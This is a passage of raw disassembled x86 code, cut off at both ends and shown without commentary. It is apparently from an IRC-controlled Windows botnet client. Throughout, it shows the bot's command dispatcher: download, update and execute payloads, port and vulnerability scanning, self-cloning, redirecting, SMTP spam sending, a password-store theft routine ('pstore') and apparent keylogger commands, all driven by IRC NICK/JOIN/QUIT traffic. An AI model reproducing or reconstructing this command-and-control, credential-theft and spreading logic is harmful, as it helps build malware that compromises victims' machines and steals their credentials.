sub_401C87+31FFj push offset unk_4391F8 lea eax, [ebp+var_2C8] loc_404EBD: ; CODE XREF: sub_401C87+3229j push eax call sub_417CB0 pop ecx pop ecx loc_404EC5: ; CODE XREF: sub_401C87+31F4j ; sub_401C87+3222j push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_404F5F mov [ebp+arg_8], ebx mov edi, 0FFh loc_404EE4: ; CODE XREF: sub_401C87+32C3j lea eax, [ebp+var_11BC] push 1FFh push eax lea eax, [ebp+var_1510] push edi push eax push [ebp+arg_8] call dword_4D6698 test eax, eax jz short loc_404F43 lea eax, [ebp+var_11BC] push eax lea eax, [ebp+var_1510] push eax lea eax, [ebp+var_1D1C] push [ebp+arg_8] push offset unk_43923C push eax call sub_417CB0 push ebx lea eax, [ebp+var_1D1C] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 28h loc_404F43: ; CODE XREF: sub_401C87+327Cj inc [ebp+arg_8] cmp [ebp+arg_8], 0Ah jl short loc_404EE4 lea eax, [ebp+var_2C8] push offset unk_439264 push eax call sub_417CB0 pop ecx pop ecx loc_404F5F: ; CODE XREF: sub_401C87+324Fj push offset aFrame ; "frame" push [ebp+arg_10] call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_405003 cmp [ebp+esi+var_8C], ebx jz short loc_404FF0 cmp [ebp+esi+var_88], ebx jz short loc_404FF0 mov edi, [ebp+esi+var_84] cmp edi, ebx jz short loc_404FF0 mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_404FF0 push eax call sub_417960 pop ecx push eax push edi call sub_417960 pop ecx push eax push [ebp+esi+var_88] call sub_417960 pop ecx push eax push [ebp+esi+var_8C] call sub_40FE41 add esp, 10h test eax, eax lea eax, [ebp+var_2C8] jnz short loc_404FE9 push [ebp+esi+var_8C] push offset unk_439294 push eax call sub_417CB0 add esp, 0Ch jmp short loc_405003 ; --------------------------------------------------------------------------- loc_404FE9: ; CODE XREF: sub_401C87+3349j push offset unk_4392C0 jmp short loc_404FFB ; --------------------------------------------------------------------------- loc_404FF0: ; CODE XREF: sub_401C87+32F6j ; sub_401C87+32FFj ... push offset unk_4392F4 lea eax, [ebp+var_2C8] loc_404FFB: ; CODE XREF: sub_401C87+3367j push eax call sub_417CB0 pop ecx pop ecx loc_405003: ; CODE XREF: sub_401C87+32E9j ; sub_401C87+3360j push offset aVideo ; "video" push [ebp+arg_10] call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_405EA0 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_4050A4 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_4050A4 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_4050A4 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_4050A4 mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_4050A4 push esi call sub_417960 pop ecx push eax push edi call sub_417960 pop ecx push eax push [ebp+arg_1C] call sub_417960 pop ecx push eax push [ebp+arg_18] call sub_417960 pop ecx push eax push [ebp+arg_0] call sub_41003A add esp, 14h test eax, eax lea eax, [ebp+var_2C8] jnz short loc_40509A push [ebp+arg_0] push offset unk_439334 jmp loc_405E97 ; --------------------------------------------------------------------------- loc_40509A: ; CODE XREF: sub_401C87+3404j push offset unk_439360 jmp loc_406FFC ; --------------------------------------------------------------------------- loc_4050A4: ; CODE XREF: sub_401C87+339Fj ; sub_401C87+33ADj ... push offset dword_4393A0 jmp loc_406FF6 ; --------------------------------------------------------------------------- loc_4050AE: ; CODE XREF: sub_401C87+2CCCj ; sub_401C87+2CE1j push offset word_4393DE push [ebp+arg_10] call sub_4176E0 mov edi, eax pop ecx cmp edi, ebx pop ecx lea eax, [ebp+var_2C8] jz short loc_40512C mov esi, 200h push edi push esi push eax call sub_4186C0 add esp, 0Ch jmp short loc_405106 ; --------------------------------------------------------------------------- loc_4050DB: ; CODE XREF: sub_401C87+3481j push 1 lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A push edi lea eax, [ebp+var_2C8] push esi push eax call sub_4186C0 add esp, 20h loc_405106: ; CODE XREF: sub_401C87+3452j test eax, eax jnz short loc_4050DB push edi call sub_414F40 push [ebp+arg_10] lea eax, [ebp+var_2C8] push offset unk_4393E0 push eax call sub_417CB0 add esp, 10h jmp loc_405EC1 ; --------------------------------------------------------------------------- loc_40512C: ; CODE XREF: sub_401C87+3440j push [ebp+arg_10] push offset dword_439404 jmp loc_405E97 ; --------------------------------------------------------------------------- loc_405139: ; CODE XREF: sub_401C87+2CA2j ; sub_401C87+2CB7j cmp [ebp+var_C], ebx jz loc_40743C push [ebp+arg_10] push [ebp+var_C] call sub_417E00 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40743C push offset word_439426 push esi call sub_418880 push esi call sub_413B98 add esp, 0Ch test eax, eax lea eax, [ebp+var_2C8] jnz short loc_40517E push offset unk_439428 jmp short loc_4051CA ; --------------------------------------------------------------------------- loc_40517E: ; CODE XREF: sub_401C87+34EEj push esi push offset dword_439454 push eax call sub_417CB0 add esp, 0Ch jmp short loc_4051F3 ; --------------------------------------------------------------------------- loc_40518F: ; CODE XREF: sub_401C87+2C78j ; sub_401C87+2C8Dj cmp [ebp+var_C], ebx jz loc_40743C push [ebp+arg_10] push [ebp+var_C] call sub_417E00 pop ecx cmp eax, ebx pop ecx jz loc_40743C push eax call sub_411C15 test eax, eax pop ecx lea eax, [ebp+var_2C8] jnz short loc_4051C5 push offset unk_43946C jmp short loc_4051CA ; --------------------------------------------------------------------------- loc_4051C5: ; CODE XREF: sub_401C87+3535j push offset dword_43948C loc_4051CA: ; CODE XREF: sub_401C87+34F5j ; sub_401C87+353Cj push eax call sub_417CB0 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_4051F3 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_4051F3: ; CODE XREF: sub_401C87+3183j ; sub_401C87+3195j ... lea eax, [ebp+var_2C8] push eax call sub_40F927 pop ecx jmp loc_40743C ; --------------------------------------------------------------------------- loc_405205: ; CODE XREF: sub_401C87+2C4Ej ; sub_401C87+2C63j push 7Fh lea eax, [ebp+var_CF0] push [ebp+arg_10] push eax call sub_417760 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_405236 push 7Fh lea eax, [ebp+var_C70] push esi push eax call sub_417760 add esp, 0Ch loc_405236: ; CODE XREF: sub_401C87+359Bj push 7Fh lea eax, [ebp+var_BF0] push [ebp+var_8C] push eax call sub_417760 mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_CF4], eax mov eax, [ebp+var_8] mov [ebp+var_B6C], eax mov eax, [ebp+var_4] mov [ebp+var_B68], eax lea eax, [ebp+var_2C8] push offset dword_4394A8 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 1Ch push eax call sub_409663 add esp, 24h mov [ebp+var_B70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_CF4] push ebx push eax push offset sub_414C86 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_B70] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_4052E8 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_4394C0 loc_4052CC: ; CODE XREF: sub_401C87+2481j lea eax, [ebp+var_2C8] push eax call sub_417CB0 add esp, 0Ch jmp loc_405EC1 ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_401C87+3667j push 32h call dword_4E033C ; Sleep loc_4052E8: ; CODE XREF: sub_401C87+3637j cmp [ebp+var_B64], ebx jz short loc_4052E0 jmp loc_405EC1 ; --------------------------------------------------------------------------- loc_4052F5: ; CODE XREF: sub_401C87+2C24j ; sub_401C87+2C39j push ebx push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_10] call sub_40E08D push [ebp+arg_10] push offset dword_439500 jmp loc_407126 ; --------------------------------------------------------------------------- loc_405314: ; CODE XREF: sub_401C87+2BFAj ; sub_401C87+2C0Fj push 14h lea eax, [ebp+var_1168] push ebx push eax call sub_417700 push [ebp+arg_10] lea eax, [ebp+var_1154] push offset dword_439518 push eax call sub_417CB0 mov eax, [ebp+arg_4] mov [ebp+var_1170], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_1050] push 80h push eax call sub_417E80 mov eax, [ebp+var_4] mov [ebp+var_FC8], eax mov eax, [ebp+var_8] mov [ebp+var_FC4], eax lea eax, [ebp+var_1050] push eax lea eax, [ebp+var_1154] push eax lea eax, [ebp+var_2C8] push offset unk_43951C push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 1Ah push eax call sub_409663 add esp, 40h mov [ebp+var_FCC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1170] push ebx push eax push offset sub_410673 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_FCC] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_4053E9 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_439540 jmp loc_406DB6 ; --------------------------------------------------------------------------- loc_4053E1: ; CODE XREF: sub_401C87+3768j push 32h call dword_4E033C ; Sleep loc_4053E9: ; CODE XREF: sub_401C87+3747j cmp [ebp+var_FC0], ebx jz short loc_4053E1 jmp loc_40259F ; --------------------------------------------------------------------------- loc_4053F6: ; CODE XREF: sub_401C87+2BD0j ; sub_401C87+2BE5j push [ebp+arg_10] call dword_4E0344 ; DeleteFileA test eax, eax jz short loc_40540D push [ebp+arg_10] push offset dword_43957C jmp short loc_405418 ; --------------------------------------------------------------------------- loc_40540D: ; CODE XREF: sub_401C87+377Aj push offset dword_439598 call sub_411B50 push eax loc_405418: ; CODE XREF: sub_401C87+3784j lea eax, [ebp+var_2C8] push 200h push eax call sub_417E80 jmp loc_4054FB ; --------------------------------------------------------------------------- loc_40542E: ; CODE XREF: sub_401C87+2BA6j ; sub_401C87+2BBBj push [ebp+arg_10] call sub_417960 push eax call sub_413B11 xor esi, esi pop ecx inc esi pop ecx push [ebp+arg_10] cmp eax, esi lea eax, [ebp+var_2C8] jnz short loc_405455 push offset unk_4395A4 jmp short loc_40545A ; --------------------------------------------------------------------------- loc_405455: ; CODE XREF: sub_401C87+37C5j push offset unk_4395C8 loc_40545A: ; CODE XREF: sub_401C87+37CCj push eax call sub_417CB0 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_405EC4 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h jmp loc_405EC4 ; --------------------------------------------------------------------------- loc_40548D: ; CODE XREF: sub_401C87+2B7Cj ; sub_401C87+2B91j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4137F3 add esp, 18h cmp eax, 1 lea eax, [ebp+var_2C8] push [ebp+arg_10] jnz short loc_4054B9 push offset unk_4395F8 jmp loc_405E97 ; --------------------------------------------------------------------------- loc_4054B9: ; CODE XREF: sub_401C87+3826j push offset unk_439618 jmp loc_405E97 ; --------------------------------------------------------------------------- loc_4054C3: ; CODE XREF: sub_401C87+2B52j ; sub_401C87+2B67j mov esi, [ebp+arg_10] push esi call dword_4D66A8 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_405503 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_4D6620 ; gethostbyaddr cmp eax, ebx jz short loc_405524 push dword ptr [eax] push esi push offset unk_439648 loc_4054EF: ; CODE XREF: sub_401C87+389Bj lea eax, [ebp+var_2C8] push eax call sub_417CB0 loc_4054FB: ; CODE XREF: sub_401C87+37A2j add esp, 10h jmp loc_405EA0 ; --------------------------------------------------------------------------- loc_405503: ; CODE XREF: sub_401C87+384Cj push esi call dword_4D66EC ; gethostbyname cmp eax, ebx jz short loc_405524 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4D66F4 ; inet_ntoa push eax push esi push offset unk_439668 jmp short loc_4054EF ; --------------------------------------------------------------------------- loc_405524: ; CODE XREF: sub_401C87+385Ej ; sub_401C87+3885j push offset unk_439688 jmp loc_406FF6 ; --------------------------------------------------------------------------- loc_40552E: ; CODE XREF: sub_401C87+2B28j ; sub_401C87+2B3Dj push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_417760 push [ebp+arg_10] lea eax, [ebp+var_2C8] push offset unk_4396B0 push eax call sub_417CB0 add esp, 18h jmp loc_40652F ; --------------------------------------------------------------------------- loc_405557: ; CODE XREF: sub_401C87+2AFEj ; sub_401C87+2B13j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen_0 ; "open" push ebx call dword_4D65D4 ; ShellExecuteA push [ebp+arg_10] test eax, eax lea eax, [ebp+var_2C8] jz short loc_405581 push offset unk_4396E0 jmp loc_405E97 ; --------------------------------------------------------------------------- loc_405581: ; CODE XREF: sub_401C87+38EEj push offset unk_439700 jmp loc_405E97 ; --------------------------------------------------------------------------- loc_40558B: ; CODE XREF: sub_401C87+2AD4j ; sub_401C87+2AE9j mov eax, [ebp+arg_10] mov cl, [eax] mov byte_437098, cl movsx eax, byte ptr [eax] push eax push offset unk_439724 jmp loc_406520 ; --------------------------------------------------------------------------- loc_4055A4: ; CODE XREF: sub_401C87+2AAAj ; sub_401C87+2ABFj push [ebp+arg_10] call sub_417960 test eax, eax pop ecx jle loc_40743C push [ebp+arg_10] call sub_417960 cmp eax, 400h pop ecx jge loc_40743C push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_409361 push eax lea eax, [ebp+var_2C8] push offset aNickS_0 ; "NICK %s" push eax call sub_417CB0 add esp, 1Ch lea eax, [ebp+var_2C8] push eax push offset aS_24 ; "%s\r\n" jmp loc_407050 ; --------------------------------------------------------------------------- loc_4055FF: ; CODE XREF: sub_401C87+2A80j ; sub_401C87+2A95j mov esi, [ebp+arg_10] push esi call sub_417960 test eax, eax pop ecx jle loc_40622C push esi call sub_417960 cmp eax, 400h pop ecx jge loc_40622C push offset aQuitLater_0 ; "QUIT :later\r\n" push esi call sub_417960 imul eax, 234h pop ecx push dword_4495AC[eax] call sub_407604 pop ecx pop ecx push 1F4h call dword_4E033C ; Sleep push esi call sub_417960 imul eax, 234h pop ecx push dword_4495AC[eax] call dword_4D6700 ; closesocket push [ebp+var_10] push esi call sub_417960 imul eax, 234h pop ecx push dword_4495B4[eax] call dword_4E0378 ; TerminateThread push esi call sub_417960 imul eax, 234h push esi mov dword_4495B4[eax], ebx call sub_417960 imul eax, 234h pop ecx pop ecx mov byte ptr dword_4493A0[eax], bl jmp loc_40622C ; --------------------------------------------------------------------------- loc_4056AD: ; CODE XREF: sub_401C87+2A56j ; sub_401C87+2A6Bj push [ebp+arg_10] push offset aAll ; "all" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_4056EC call sub_409826 cmp eax, ebx jle short loc_4056D4 push eax push offset unk_439770 jmp loc_40606C ; --------------------------------------------------------------------------- loc_4056D4: ; CODE XREF: sub_401C87+3A40j push offset unk_439798 loc_4056D9: ; CODE XREF: sub_401C87+1FBCj ; sub_401C87+1FDBj ... lea eax, [ebp+var_2C8] push eax call sub_417CB0 pop ecx pop ecx jmp loc_40607B ; --------------------------------------------------------------------------- loc_4056EC: ; CODE XREF: sub_401C87+3A37j mov eax, [ebp+var_A8] lea esi, [eax+1] jmp short loc_405763 ; --------------------------------------------------------------------------- loc_4056F7: ; CODE XREF: sub_401C87+3ADFj mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40622C push edi call sub_417960 push eax call sub_40979E pop ecx pop ecx test eax, eax push edi lea eax, [ebp+var_2C8] jz short loc_405726 push offset unk_4397C0 jmp short loc_40572B ; --------------------------------------------------------------------------- loc_405726: ; CODE XREF: sub_401C87+3A96j push offset unk_4397E4 loc_40572B: ; CODE XREF: sub_401C87+3A9Dj push eax call sub_417CB0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_405755 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_405755: ; CODE XREF: sub_401C87+3AB0j lea eax, [ebp+var_2C8] push eax call sub_40F927 pop ecx inc esi loc_405763: ; CODE XREF: sub_401C87+3A6Ej cmp esi, 20h jb short loc_4056F7 jmp loc_40622C ; --------------------------------------------------------------------------- loc_40576D: ; CODE XREF: sub_401C87+2A2Cj ; sub_401C87+2A41j cmp [ebp+var_C], ebx jz loc_40743C push [ebp+arg_10] push [ebp+var_C] call sub_417E00 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40743C push esi push offset aS_25 ; "%s\r\n" push [ebp+arg_4] call sub_407604 push esi push offset dword_439818 jmp short loc_4057F9 ; --------------------------------------------------------------------------- loc_4057A3: ; CODE XREF: sub_401C87+2A02j ; sub_401C87+2A17j push [ebp+arg_10] push offset dword_439834 push [ebp+arg_4] call sub_407604 push [ebp+arg_10] push offset unk_439840 jmp short loc_4057F9 ; --------------------------------------------------------------------------- loc_4057BD: ; CODE XREF: sub_401C87+29D8j ; sub_401C87+29EDj push [ebp+esi+var_8C] push [ebp+arg_10] push offset aJoinSS_1 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_407604 push [ebp+arg_10] push offset unk_439874 jmp loc_407126 ; --------------------------------------------------------------------------- loc_4057E1: ; CODE XREF: sub_401C87+29AEj ; sub_401C87+29C3j push [ebp+arg_10] push offset aNickS_1 ; "NICK %s\r\n" push [ebp+arg_4] call sub_407604 push [ebp+arg_10] push offset unk_4398A4 loc_4057F9: ; CODE XREF: sub_401C87+3B1Aj ; sub_401C87+3B34j ... call sub_40F99B loc_4057FE: ; CODE XREF: sub_401C87+5638j add esp, 14h jmp loc_40743C ; --------------------------------------------------------------------------- loc_405806: ; CODE XREF: sub_401C87+2984j ; sub_401C87+2999j push offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_407604 push [ebp+arg_10] lea eax, [ebp+var_2C8] push offset unk_4398E0 push eax call sub_417CB0 lea eax, [ebp+var_2C8] push eax call sub_40F927 push [ebp+arg_10] call sub_417960 add esp, 1Ch loc_40583E: ; CODE XREF: sub_401C87+3C03j push eax call dword_4E033C ; Sleep loc_405845: ; CODE XREF: sub_401C87+2595j xor eax, eax jmp loc_4075FF ; --------------------------------------------------------------------------- loc_40584C: ; CODE XREF: sub_401C87+295Aj ; sub_401C87+296Fj push offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_407604 push [ebp+arg_10] lea eax, [ebp+var_2C8] push offset unk_43991C push eax call sub_417CB0 lea eax, [ebp+var_2C8] push eax call sub_40F927 push [ebp+arg_10] call sub_417960 add esp, 1Ch imul eax, 3E8h jmp short loc_40583E ; --------------------------------------------------------------------------- loc_40588C: ; CODE XREF: sub_401C87+2930j ; sub_401C87+2945j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_8B0], eax lea eax, [ebp+var_8AC] push eax call sub_418870 push offset aModdd ; "Moddd" lea eax, [ebp+var_2C8] push offset aExecutedPstore ; "Executed pstore" push eax call sub_417CB0 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_4058E1 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_4058E1: ; CODE XREF: sub_401C87+3C3Cj lea eax, [ebp+var_2C8] push eax call sub_40F927 pop ecx lea eax, [ebp+var_8B0] push ebx push ebx push eax push offset loc_408986 push ebx push ebx call dword_4E0340 ; CreateThread loc_405904: ; CODE XREF: sub_401C87+30F9j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40622C push edi push offset aKilllog ; "killlog" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4073D3 push edi push offset aKl ; "kl" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4073D3 push edi push offset aAddalias ; "addalias" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_407390 push edi push offset aAa ; "aa" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_407390 push edi push offset aPrivmsg_1 ; "privmsg" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_407336 push edi push offset aPm ; "pm" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_407336 push edi push offset aAction ; "action" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4072C4 push edi push offset aA ; "a" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4072C4 push edi push offset aCycle ; "cycle" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40725C push edi push offset aCy ; "cy" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40725C push edi push offset aMode ; "mode" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_407223 push edi push offset aM ; "m" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_407223 push edi push offset aC_raw ; "c_raw" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4071B5 push edi push offset aC_r ; "c_r" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4071B5 push edi push offset aC_mode ; "c_mode" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_407130 push edi push offset aC_m ; "c_m" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_407130 push edi push offset aC_nick ; "c_nick" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4070BF push edi push offset aC_n ; "c_n" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4070BF push edi push offset aC_join ; "c_join" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40706F push edi push offset aC_j ; "c_j" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40706F push edi push offset aC_part ; "c_part" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_407009 push edi push offset aC_p ; "c_p" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_407009 push edi push offset aUpdate ; "update" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406E7A push edi push offset aUp_0 ; "up" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406E7A push edi push offset aExecute ; "execute" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406DDF push edi push offset aE ; "e" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406DDF push edi push offset aFindfile ; "findfile" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406CD1 push edi push offset aFf ; "ff" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406CD1 push edi push offset aRename ; "rename" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406C7C push edi push offset aMv ; "mv" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406C7C mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40622C push edi push offset aClone_0 ; "clone" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406B90 push edi push offset aC ; "c" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406B90 push edi push offset aDownload ; "download" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406A52 push edi push offset aDl ; "dl" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406A52 push edi push offset aRedirect ; "redirect" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406957 push edi push offset aRd ; "rd" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406957 push edi push offset aScan_1 ; "scan" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406863 push edi push offset aSc ; "sc" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406863 push edi push offset aC_privmsg ; "c_privmsg" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406789 push edi push offset aC_pm ; "c_pm" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406789 push edi push offset aC_action ; "c_action" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406672 push edi push offset aC_a ; "c_a" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406672 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_1C], eax jz loc_40622C push edi push offset aPortscan ; "portscan" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40656B push edi push offset aPsc ; "psc" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40656B push edi push offset aAdvscan ; "advscan" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4060AD push edi push offset aAsc ; "asc" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4060AD push edi push offset aNetsend ; "netsend" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_405F2E push edi push offset aNs ; "ns" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_405F2E push edi push offset aEmail ; "email" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_405ED8 push [ebp+arg_10] lea eax, [ebp+var_ACC] push eax call sub_418870 push [ebp+arg_0] call sub_417960 push [ebp+arg_18] mov [ebp+arg_0], eax lea eax, [ebp+var_2220] push eax call sub_418870 push [ebp+arg_1C] lea eax, [ebp+var_1510] push eax call sub_418870 push offset asc_439A92 ; " " push offset a_ ; "_" push [ebp+esi+var_80] call sub_4118FD push eax lea eax, [ebp+var_2120] push eax call sub_418870 add esp, 30h lea eax, [ebp+var_25B0] push eax push 101h call dword_4D65D8 ; WSAStartup lea eax, [ebp+var_ACC] push eax call dword_4D66EC ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_4D66E8 ; socket push [ebp+arg_0] mov esi, eax mov [ebp+var_2D8], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2D4], eax call dword_4D6668 ; ntohs mov [ebp+var_2D6], ax lea eax, [ebp+var_2120] push eax lea eax, [ebp+var_2220] push eax lea eax, [ebp+var_2120] push eax lea eax, [ebp+var_1510] push eax lea eax, [ebp+var_2220] push eax lea eax, [ebp+var_29B0] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_417CB0 add esp, 1Ch lea eax, [ebp+var_2D8] push 10h push eax push esi call dword_4D6610 ; connect mov edi, 100h push ebx lea eax, [ebp+var_1E1C] push edi push eax push esi call dword_4D6680 ; recv lea eax, [ebp+var_1E1C] push ebx push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_29B0] push eax push esi call dword_4D66B8 ; send push ebx lea eax, [ebp+var_1E1C] push edi push eax push esi call dword_4D6680 ; recv push esi call dword_4D6700 ; closesocket call dword_4D65C0 ; WSACleanup lea eax, [ebp+var_1510] push eax push offset unk_439AE4 loc_405E91: ; CODE XREF: sub_401C87+2832j ; sub_401C87+4FDBj ... lea eax, [ebp+var_2C8] loc_405E97: ; CODE XREF: sub_401C87+340Ej ; sub_401C87+34ADj ... push eax call sub_417CB0 loc_405E9D: ; CODE XREF: sub_401C87+1F65j add esp, 0Ch loc_405EA0: ; CODE XREF: sub_401C87+2DEEj ; sub_401C87+2E46j ... cmp [ebp+var_8], ebx jnz short loc_405EC1 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_405EC1: ; CODE XREF: sub_401C87+2496j ; sub_401C87+24CDj ... mov esi, [ebp+arg_24] loc_405EC4: ; CODE XREF: sub_401C87+91Bj ; sub_401C87+37DFj ... lea eax, [ebp+var_2C8] push eax call sub_40F927 pop ecx mov eax, esi jmp loc_4075FF ; --------------------------------------------------------------------------- loc_405ED8: ; CODE XREF: sub_401C87+40B2j push edi push offset aHttpcon ; "httpcon" call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_405EFE push edi push offset aHcon ; "hcon" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_406033 loc_405EFE: ; CODE XREF: sub_401C87+4260j push [ebp+esi+var_80] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_0] call sub_417960 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40E7F9 jmp loc_407439 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401C87+4088j ; sub_401C87+409Dj push [ebp+arg_0] lea eax, [ebp+var_2C8] push [ebp+arg_10] push [ebp+arg_18] push offset unk_439B18 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A push [ebp+arg_18] call sub_414EC0 push [ebp+arg_0] mov edi, eax call sub_414EC0 push [ebp+arg_10] add edi, eax call sub_414EC0 push [ebp+arg_20] add edi, eax call sub_414EC0 add eax, [ebp+var_C] push [ebp+arg_1C] lea eax, [eax+edi+7] push eax call sub_417E00 add esp, 40h mov [ebp+arg_14], eax push [ebp+arg_18] call sub_417960 mov edi, eax pop ecx cmp edi, ebx mov [ebp+arg_8], ebx jle short loc_406011 loc_405FAF: ; CODE XREF: sub_401C87+434Bj push [ebp+arg_14] push [ebp+arg_0] push [ebp+arg_10] call sub_412159 add esp, 0Ch cmp eax, 1 mov [ebp+arg_C], eax jz short loc_405FD6 cmp eax, ebx jnz short loc_405FE1 inc [ebp+arg_8] cmp [ebp+arg_8], edi jl short loc_405FAF jmp short loc_406016 ; --------------------------------------------------------------------------- loc_405FD6: ; CODE XREF: sub_401C87+433Fj push ebx push [ebp+var_4] push offset unk_439B54 jmp short loc_40601F ; --------------------------------------------------------------------------- loc_405FE1: ; CODE XREF: sub_401C87+4343j push 